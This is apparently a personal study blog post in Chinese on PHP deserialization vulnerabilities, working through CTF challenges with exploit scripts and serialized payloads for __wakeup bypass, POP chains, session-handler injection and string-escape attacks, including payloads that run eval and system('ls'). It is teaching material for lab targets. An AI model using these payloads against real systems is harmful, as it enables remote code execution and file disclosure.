PHP反序列化专题(一)

拖拖拉拉好久好久好久,虽然大致理解了反序列化漏洞的玩意儿,但还是决定动笔写一写省的回头再忘了。

写在最前面,全文采自网上,对相关资源进行了整合,主要留以自己学习用,忘记记录各位大佬的链接了。

序列化和反序列化

首先要理解什么是序列化和反序列化,简单来说序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。

序列化的对象可以是class也可以是Array,string等其他对象。

对象序列化与反序列化的功能作用

对象序列化的功能作用

概念:对象是在内存中存储的数据类型,寿命通常随着生成该对象的程序的终止而终止,但是有些情况下需要将对象的状态保存下来,然后在需要使用的时候将对象恢复,对象状态的保存操作就是对象序列化的过程。对象序列化就是将对象转化为2进制字符串进行保存。

作用:将对象的状态通过数值和字符记录下来,以某种存储形式使自定义对象持久化,方便需要时候将对象进行恢复使用,用于对象的传递以及使程序代码更具维护性

语法:在创建对象class后使用serialize()函数将声明的对象的某个状态转化为字符串然后进行保存或传递。

<?php
//类对象序列化示例代码
class Person{
    private $name = 'Thinking';
    private $sex = 'man';
    
    function show($name, $sex){
    echo 'My name is '.$name.'I am a '.sex;
    }
}

$Person = new Person;
$saveData =  serialize($Person);//将序列化后的对象进行保存;
echo serialize($erson).'</br>';
echo $saveData;
?>

//O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";}
//O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";}
<?php
//数组序列化示例代码
$Person = array('name' => 'admin','sex' => 'man');
$saveData =  serialize($Person);//将序列化后的数组进行保存;
echo serialize($Person).'</br>';
echo $saveData;
?>
    
//a:2:{s:4:"name";s:5:"admin";s:3:"sex";s:3:"man";}
//a:2:{s:4:"name";s:5:"admin";s:3:"sex";s:3:"man";}

序列化后对象的格式: 引用上述示例代码中的输出结果 。
output:

O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";}

a:2:{s:4:"name";s:5:"admin";s:3:"sex";s:3:"man";}

对象类型:对象名长度:“对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:“变量名2”; 参数2类型:参数2长度:参数2;… …}

对象类型:Class:用O表示,Array:用a表示。

变量和参数类型:string:用s表示,Int:用i表示,Array:用a表示。

序列符号:参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。

对象反序列化的功能作用

概念:将存储好的或者进行传递的序列化后的字符串转化为对象,然后在用于对象的操作,是序列化的逆过程 。

作用:把序列化后的字符串转化为对象,恢复原本对象后用于程序或代码的各种操作。

语法:使用unserialize()将序列化后的字符串转化为对象进行使用。

<?php
//示例代码
$Save='O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";}'
$saveData = 'a:2:{s:4:"name";s:5:"admin";s:3:"sex";s:3:"man";}';
var_dump(unserialize($Save));
var_dump(unserialize($saveData));
?>

/***
object(__PHP_Incomplete_Class)[1]
  public '__PHP_Incomplete_Class_Name' => string 'Person' (length=6)
  public ' Person name' => string 'Thinking' (length=8)
  public ' Person sex' => string 'man' (length=3)
***/
//array(2) { ["name"]=> string(5) "admin" ["sex"]=> string(3) "man" }

例题-1

<?php  
@error_reporting(1);
include 'flag.php';
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
        $good = unserialize($data);
        echo $good;
}
else 
{
    $url='./index.php';
}

$html='';
if(isset($_POST['test'])){
    $s = $_POST['test'];
    $html.="<p>谢谢参与!</p>";
}
?>

可以看到有一个baby类,包含了flag.php,一个file参数,还是public真是太友好了。

我们可控的参数只有GET的date和POST的test。值得注意的是,data在传入之后,就反序列化输出了,简直不能再友好了!

那就开始构造payload吧:按照上面说的方法,完全可以构造出来序列化字符串,也可以自己写个脚本生成序列化的字符串。我比较懒,就写了脚本,如下:

<?php
class baby {
    public $file="flag.php";
}
$data = new baby;
echo serialize($data);
?>
    
//O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

然后GET传参

?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

得到反馈
PD9waHAgJGE9J2ZsYWd7dV9yX3JlYWxseV9hX3BocF9leHBlcnR9Jzs/Pg0K

base64解密拿到flag
<?php $a='flag{u_r_really_a_php_expert}';?>

特殊函数的绕过及其他相关序列化利用方式

反序列化存在的问题

问题原因:漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码或变量用户可控,就可能产生反序列化漏洞,根据反序列化后不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。

特殊函数:PHP的类中可能会包含一些特殊的函数,其命名是以符号__开头的;

有以下的特殊函数: __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set(), _state(), __clone(), __debugInfo()...

反序列化漏洞中常见到有一些特殊函数:

__construct():在对象创建时自动被调用;

构造函数是类中的一个特殊特殊。当使用 new 操作符创建一个类的实例时,将会自动调用。且一个类中只能声明一个,只有在每次创建对象的时候会去调用该函数,不能主动的调用,用来执行初始化任务。该方法无返回值。

__destruct():在脚本运行结束时自动被调用;

在销毁一个类之前执行,与构造函数相对应,其允许在销毁之前执行的一些操作或完成一些功能,比如说关闭文件、释放结果集,程序运行结束等。析构函数不能带有任何参数。

__sleep():在对象序列化的时候自动被调用; __wakeup():在反序列化为对象时自动被调用;

必须返回一个数组或者对象,而一般返回的是当前对象$this。返回的值将会被用来做序列化的值。如果不返回这个值,自然表示序列化失败。同时也会连累到反序列化时不会调用 __wakeup()

__toString():直接输出对象引用时自动被调用

该方法会在直接输出对象引用时自动被调用,此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误 参考:http://php.net/__toString

__call():当对象调用某个方法的时候,若方法存在,则直接调用;若不存在,则会去调用该函数;

__get():读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用该函数;

__set():设置一个对象的属性时,若属性存在,则直接赋值;若不存在,则会调用该函数;

__clone():克隆对象时被调用。如:$t=new Test(),$t1=clone $t;

__sleep():serialize之前被调用。若对象比较大,想删减一点东东再序列化,可考虑一下此函数;

__isset():检测一个对象的属性是否存在时被调用。如:isset($c->name);

__unset():unset一个对象的属性时被调用。如:unset($c->name);

__invoke():调用函数的方式调用一个对象时的回应方法

__set_state():调用var_export时,被调用。用set_state的返回值做为var_export的返回值;

__autoload():实例化一个对象时,如果对应的类不存在,则该方法被调用;

__wakeup()绕过

CVE-2016-7124 这是一个成型已被挖掘的漏洞

  • 存在漏洞的PHP版本: PHP5.6.25之前版本和7.0.10之前的7.x版本
  • 漏洞概述: __wakeup()函数被绕过,导致执行了一些非预期效果的漏洞
  • 漏洞原理: 当对象的属性(变量)数大于实际的个数时,__wakeup()函数被绕过

例题-2

<?php
highlight_file(__FILE__);
error_reporting(0);
class convent{
    var $warn = "No hacker.";
    function __destruct(){
        eval($this->warn);
    }
    function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
    }
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>

代码中__destruct()析构函数执行时会调用eval函数,但是在__wakeup()函数中将对象属性遍历删除, 导致无法执行eval函数。

正常序列化代码和绕过payload:

cmd=O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";}
cmd=O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}

只需要把序列化代码中代表变量的个数改到比实际个数大就行了。

例题-3

<?php
class SoFun{
  protected $file='__wakeup-2.php';
  function __destruct(){
    if(!empty($this->file)) {
      if(strchr($this->file,"\\")===false&&strchr($this->file,'/')===false)
        show_source(dirname (__FILE__).'/'.$this->file);
      else
        die('Wrong filename.');
    }
  }
  function __wakeup(){
    $this->file='__wakeup-2.php'; 
  }
  public function __toString(){
    return '' ;
  }
}
if (!isset($_GET['file'])){
  show_source('__wakeup-2.php'); 
}else{
  $file=base64_decode( $_GET['file']);
  echo unserialize($file ); 
}
?>
<!--key in flag.php--> 

代码中出现传入file参数后先base64解码,再进行反序列化。

且SoFun类中有一个受保护参数file,同时对该参数进行检测,若不包含\\或者/dirnameshow_source

其中绕过受保护类参数的方法如下:

protected类型的属性的序列化字符串包含不可见字符\00,但是php7.1+版本对属性类型不敏感
绕过protected的参数只需要将string的s写成S,并在变量名前加上\00*\00
因为大写的S配合上这个代码,会将\00解析成%00从而形成ascii码的0绕过,变量值则不需要加

最后提示keyflag.php中,同时还有__wakeup()函数对数据进行处理。

构造明文payload:

<?php
class SoFun{
  protected $file='flag.php';
}
$a=new SoFun;
echo serialize($a);
//O:5:"SoFun":1:{s:7:"*file";s:8:"flag.php";}
?>

修改参数后payload为:

O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}

base64加密后:

Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

例题-4

攻防世界web_php_serialize

<?php 
class Demo { 
    private $file = '__wakeup-3-preg_match.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != '__wakeup-3-preg_match.php') { 
            //the secret is in the Here_1s_7he_fl4g_buT_You_Cannot_see.php
            $this->file = '__wakeup-3-preg_match.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("__wakeup-3-preg_match.php"); 
} 
?>

也是常规的利用__wake_up绕过,但是在这个基础上还加了正则匹配,可以用数组绕过,具体脚本及payload如下:

<?php
class Demo { 
    private $file = '__wakeup-3-preg_match.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
}
$a=new Demo('Here_1s_7he_fl4g_buT_You_Cannot_see.php');
$b=serialize($a);
echo $b."<br>";
//O:4:"Demo":1:{s:10:"Demofile";s:39:"Here_1s_7he_fl4g_buT_You_Cannot_see.php";}
$b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
echo $b."<br>";
//O:+4:"Demo":1:{s:10:"Demofile";s:39:"Here_1s_7he_fl4g_buT_You_Cannot_see.php";}
$b = str_replace(':1:', ':2:',$b);//绕过wakeup
echo $b."<br>";
//O:+4:"Demo":2:{s:10:"Demofile";s:39:"Here_1s_7he_fl4g_buT_You_Cannot_see.php";}
echo base64_encode($b)."<br>";
//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czozOToiSGVyZV8xc183aGVfZmw0Z19idVRfWW91X0Nhbm5vdF9zZWUucGhwIjt9
?>

POP chain

把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

通俗点就是:反序列化中,如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

例题-5

MRCTF-2020-Ezpop

老套路,源码如下:

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

核心代码就是接受一个Get传入的名为pop的参数,直接进行反序列化,没有其余任何多余操作。

首先发现各个类中只有Modifier中有include()函数可以利用,进行文件包含,查看flag.php,这个类中有一个可利用的魔法函数__invoke(),当我们将对象调用为函数时,就会用$var参数调用append()函数。

其次在Test类中也存在一个可利用的魔法函数__get(),当我们调用的参数是该类中不可见或者不存在的属性时,就会自动以函数的方式调用参数$p

最后,在Show类中也存在一个可利用的魔法函数__toString(),它能够调用$str参数的sourse属性。

所以大体的构造思路是,实例化一个Show对象,让其$str参数实例化为Test对象,但由于Test类中没有source属性,所以会以函数形式调用$p,让$pModifier类的对象,便会自动调用__invoke()函数,包含$var的页面。

<?php
//exp.php
class Modifier {
    protected  $var = 'flag.php';
}

class Show {
    public $source;
    public $str;
}

class Test{
    public $p;
}

$pop = new Show();
$pop->source = new Show();
$pop->source->str = new Test();
$pop->source->str->p = new Modifier();
echo serialize($pop)."<br>";
?>

解释一下为什么new了两次Show,因为触发__toString()source被第一层show当作字符串,于是访问source->str->source,也就是Test里面的source(不存在),触发__get().

运行上述脚本得到

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:8:"flag.php";}}}s:3:"str";N;}

注意Modifier类中的varprotected属性,所以要在"*var"*前后加上%00,传入该数据得到 Help Me Find FLAG!,盲猜flag在源码中处于不可见状态,所以采用php://filter伪协议,对整个源码进行base64加密后读取。

//修改Modifier中的$var值如下
protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
//得到最终结果
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
//得到base64加密后的源码
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2JmNDk3MzJmLWE5MzctNGY2NS1iYmZmLWQ4MzdiOGM5MmQ4MH0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
//最终得到
<?php
class Flag{
    private $flag= "flag{bf49732f-a937-4f65-bbff-d837b8c92d80}";
}
echo "Help Me Find FLAG!";
?>

php session 反序列化

session 的存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的

php.ini中有如下配置信息:

session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php
session.save_path=""   --设置session的存储路径
session.save_handler = files
session.auto_start = 0
session.serialize_handler = php
session.save_path="D:\phpstudy\2016\tmp\tmp"
注意:
1.列举信息为php5.4.45-nts
2.以上信息为本地设置信息,不代表所有

php_session连接的三种方式

  • 默认使用php : 格式 键名|键值(经过序列化函数处理的值)
  • php_serialize: 格式 经过序列化函数处理的值(版本需高于5.4.45-nts)
  • php_binary: 键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值(版本需高于5.6.21)
第一种 php默认
<?php
    session_start();
    $_SESSION['name'] = 'Webfucker' ;
    var_dump($_SESSION);
?>
//array(1) { ["name"]=> string(9) "Webfucker" }

查看session文件为:

name|s:9:"Webfucker";
第二种 php_seriailze
<?php
    ini_set('session.serialize_handler',  'php_serialize');
    session_start();
    $_SESSION['name'] = 'Webfucker' ;
    var_dump($_SESSION);
?>
//array(1) { ["name"]=> string(9) "Webfucker" }

php5.4.45-nts往后的版本才能执行如上代码,session文件为:

a:1:{s:4:"name";s:9:"Webfucker";}
第三种 php_binary
<?php
    ini_set('session.serialize_handler',  'php_binary');
    session_start();
    $_SESSION['name'] = 'Webfucker' ;
    var_dump($_SESSION);
?>
//array(1) { ["name"]=> string(9) "Webfucker" }
在php5.5.38往后的版本才能执行如上代码
session文件为:names:9:"Webfucker"; 
其中是EOT因为name长度为4,EOT是ascii码表中的4

例题-6

jarvis OJ PHPINFO

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO{
    public $mdzz;
    function __construct(){
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct(){
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo'])){
    $m = new OowoO();
}else{
    highlight_string(file_get_contents('index.php'));
}
?>

原题php版本为5.6.21,在对照phpinfo更改了本地配置后在相同版本下复现成功,但因为是windows复现所以查询路径不能用绝对路径(也有可能是未更改的参数所致)。

先了解一下这个题的漏洞利用思路,可以传名为phpinfo的参数,但是不做处理,只产生一个新的类对象,然后执行phpinfo()函数,显示phpinfo页面,在浏览目录时结合源码发现,php默认的session连接方式默认是php_serialize,但是源码修改为php了,在这个转化的过程中就会产生利用点,使精心构造的序列化代码执行目标语句。

然后看到session.upload_progress.enabled=On属于开启状态,那这就有的玩了。先了解一下环境背景:

1.如果脚本中设置的序列化处理器与php.ini设置的不同,或者两个脚本注册session使用的序列化处理器不同,那么就会出现安全问题。
原因是未正确处理\’|\’,如果以php_serilize方式存入,比如我们构造出”|” 伪造的序列化值存入,但之后解析又是用的php处理器的话,那么将会反序列化伪造的数据(\’|\’之前当作键名,\’|\’之后当作键值)。
(L.N.: php5.6.13版本以前是第一个变量解析错误注销第一个变量,然后解析第二个变量,但是5.6.13以后如果第一个变量错误,直接销毁整个session)。

2.当 session.upload_progress.enabled INI 选项开启时,PHP能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

3.当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefixsession.upload_progress.name连接在一起的值。 通常这些键值可以通过读取INI设置来获得

通俗的说就是请求时加上与session.upload_progress.name同名的变量时就会在$_SESSION中加上一组新的数据

session_start()开启时会自动加载session文件中的值,这里在__destruct方法中使用eval,所以只要在session文件中写入这个类的序列化代码,就能够执行代码。

这就用到刚才提到的东西,查看phpinfo
因为session.upload_progress.enabled=1,所以我们就可以post一个和session.upload_progress.name同名的变量,来使得我们上传的文件名写入session

因为这里是handler设置为php,是以|开头的,所以在反序列化时会按照|来识别键值对而不是按照默认的php_serialize来识别session

构造恶意序列化类代码脚本

<?
class OowoO{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);
?>
//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

在序列化数据前加上|从而php的识别方式识别键值对存入session并且实现直接反序列化调用eval函数

"|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"

html脚本,利用POST上传一个文件,在上传时抓包。

<form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

抓包信息如下:并对filename参数进行修改,改为payload,只有这样才会把进度监控序列化后存入session

POST /HTML/serialize/example/serialize_session_injection.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/HTML/serialize/example/serialize_session_injection.html
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: 458
Cookie: PHPSESSID=e65i0lr0s8bcm7uu7bcgefadv0  //如果开始未设置Cookie将不会触发漏洞
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------265001916915724
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123
-----------------------------265001916915724
Content-Disposition: form-data; name="file"; filename="1.txt"  //修改此处filename为payload
Content-Type: text/plain


-----------------------------265001916915724--

得到返回代码

Array
(
    [0] => .
    [1] => ..
    [2] => 1-serialize_session_injection.html
    [3] => 1-serialize_session_injection.php
    [4] => 2-serialize_session_injection.php
    [5] => 2-serialize_session_injection_class.php
    [6] => Here_1s_7he_fl4g_buT_You_Cannot_see.php
    [7] => __wakeup-1.php
    [8] => __wakeup-2.php
    [9] => __wakeup-3-preg_match.php
    [10] => flag.php
    [11] => phpinfo.php
    [12] => serialize_encode.php
)

这就很明显了,flag在flag.php,继续通过文件读取函数读取文件内容

//payload:
print_r(file_get_contents('print_r(file_get_contents("http://127.0.0.1/HTML/serialize/example/flag.php"));'))
//序列化并改为可用代码的结果:
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:79:\"print_r(file_get_contents(\"http://127.0.0.1/HTML/serialize/example/flag.php\"));\";}

再次修改filename得到如下反馈:

<?php
highlight_file(__FILE__);
$flag="flag{Y0u_aR2_W0nDE_4}";
?> 

例题-7

index.php

<?php
ini_set('session.serialize_handler', 'php');
require("./2-serialize_session_injection_class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php"; 
?>

class.php

<?php
 
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
 
class foo1{
        public $varr;
        function __construct(){
                $this->varr = "2-serialize_session_injection.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>这是foo1的析构函数<br>";
        }
}
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __desctuct(){
                echo "<br>这是foo2的析构函数<br>";
        }
}
class foo3{
        public $varr;
        function execute(){
                eval($this->varr);
        }
        function __desctuct(){
                echo "<br>这是foo3的析构函数<br>";
        }
}
 
?>

class.php写得十分清楚,原理同例题-4,这里不过多赘述,上payload脚本。

<?php
class foo3{
        public $varr;
        function __construct(){
                $this->varr = 'system(\'ls\');';
        }
}
 
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1';
                $this->obj = new foo3();
        }
}
 
class  foo1{
        public $varr;
        function __construct(){
                $this->varr = new foo2();
        }
}
 
echo serialize(new foo1());
?>

payload

|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:13:"system(\\'ls\\');";}}}

用例4相同的html脚本就可以完成攻击,其余不再赘述。

php反序列化长度变化尾部字符串逃逸

在网上找的大佬的讲解帖子,对相关知识点进行学习。

示例代码

<?php
    
function test($str) {
    return preg_replace('/x/','Ha',$str);
}

$name = $_GET[name];
$sign = 'Hello Everyone';
$user = array($name,$sign);

$user_ser = test(serialize($user));
echo $user_ser.'<br>';

$fake = unserialize($user_ser);
echo $fake[0].'<br>';
echo $fake[1].'<br>';

?>

代码的逻辑很简单,就是GET传入一个参数name,把它和参数sign放到一个数组中进行序列化,然后再分别输出。

值得注意的是test函数,就是一个简单的正则匹配,将匹配到的x替换成Ha,正常测试:

?name=test
a:2:{i:0;s:4:"test";i:1;s:14:"Hello Everyone";}
test
Hello Everyone

通过前面的学习,知道这个php的反序列化是通过字符长度判断的,也就是说字符长度错误的情况下是无法反序列化的,比如当我们利用把输入改为text

?name=text
a:2:{i:0;s:4:"teHat";i:1;s:14:"Hello Everyone";}

Notice: unserialize(): Error at offset 18 of 48 bytes in [文件路径] on line 13

因为test函数起了作用,将text中的x替换成了Ha,但是由于代码中的处理顺序是先进行序列化后进行test过滤,所以这就导致了序列化结果中

s:4:"teHat";

长度错误,无法进行反序列化操作。

然后这就提到了我们这次的重点php反序列化长度变化尾部字符串逃逸,刚才的示例代码中因为存在test函数会将单独的x变成Ha导致这部分的长度加倍,这就造成了序列化字符串的“膨胀”。通过这个原理可以精心构造代码将sign值修改掉

例如:

?name=testxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";i:1;s:14:"ABCDEFGHIJKLMN";}

其中name值整体长度是62,通过序列化操作后变成

a:2:{i:0;s:62:"testHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHa";i:1;s:14:"ABCDEFGHIJKLMN";}";i:1;s:14:"Hello Everyone";}

test加上29个x变成的29个Ha,长度就变成了62,正好和序列化后的长度相同,所以最终的效果如下:

?name=testxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";i:1;s:14:"ABCDEFGHIJKLMN";}
a:2:{i:0;s:62:"testHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHa";i:1;s:14:"ABCDEFGHIJKLMN";}";i:1;s:14:"Hello Everyone";}
testHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHa
ABCDEFGHIJKLMN

因为我们的payload非法的闭合了,所以程序反序列化出的sign就被修改成了我们精心构造的数据。

例题-8

这个题是网上一搜就有的2016年-0CTF-piapiapia带佬们做好的docker环境(docker真香)

环境出来之后打开网站,是一个登录框,各种姿势尝试无果后,就开启了不要脸的扫描器,最后还是源码泄露,www.zip重出江湖,在文件中显示有register.php也就是注册的页面,过去注册了一个admin,没成想居然成了。登录成功之后是一个update页面,填写PhoneEmailNickname,最后可以上传Photo

随便编造信息填写上传试试

Phone:11112341234
Email:1234@1234.com
Nickename:HHH
Photo:随便找的jpg

成功显示跳转链接到profile.php,全程都没有什么有用的信息。

转向代码审计,在update页面中看到upload后的文件名是经过MD5加密的,值得注意的是这一句代码

$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));

将填写的数据都放入profile数组内,然后将其序列化后的数据和username一起存起来。进入profie.php看到对刚才的序列化数据进行了反序列化操作取出数据。但是感觉还是没什么可以利用的点,继续审计其他代码。

config.php中看到了flag='';希望的曙光,基本可以确定flag就在config.php了,在剩下的class.php看了一圈也没发现可以利用的点。回过头又看了一遍刚才的profile.php,发现其中上传的图片的读取是利用的file_get_contents()函数,且前端页面显示出的文件名是base64加密过的。所以此时有点思路,就是将序列化的最后一部分改成config.php,这样就可以实现对其的读取了。

那么就要对nickname下手了,但是整个文件对nickname存在过滤

//update.php 正则处理
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    die('Invalid nickname');
//序列化后的数据user类中的update_profile()函数处理
public function update_profile($username, $new_profile) {
    $username = parent::filter($username);
    $new_profile = parent::filter($new_profile);
    
    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
}
//使用继承类中的filter()函数进行处理
public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

总共牵涉到三个正则表达式,第一个较为简单可以数组绕过,filter()中的正则绕不过去,且会对输入的'select', 'insert', 'update', 'delete', 'where'替换成hacker,这就到了这道题的关键知识点了。

被过滤的五个单词中只有一个where是五个字母和hacker有数量差异,那接下来就是构造payload了。

$profile=a:4:{s:5:"phone";s:11:"11112341234";s:5:"email";s:13:"1234@1234.com";s:8:"nickname";s:3:"HHH";s:5:"photo";s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

要把photo的数据改为config.php

$profile=a:4:{s:5:"phone";s:11:"11112341234";s:5:"email";s:13:"1234@1234.com";s:8:"nickname";s:3:"HHH";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

这样反序列化出来的photo的数据就变成我们想要的了,但由于该参数正常无法人工干预,所以用字符串逃逸将其附属在nickname中。

首先将nickname变成数组绕过第一次正则

$profile=a:4:{s:5:"phone";s:11:"11112341234";s:5:"email";s:13:"1234@1234.com";s:8:"nickname";a:1:{i:0;s:3:"HHH"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

我们需要保住

";}s:5:"photo";s:10:"config.php";}

共有34个字符,也就是需要34个where替换成hacker后就能超出34个字符。

$profile=a:4:{s:5:"phone";s:11:"11112341234";s:5:"email";s:13:"1234@1234.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

然后按照最终payload中的数据进行提交,但注意需要抓包将nickname改成数组,上传成功后进入profile.php查看页面源码得到

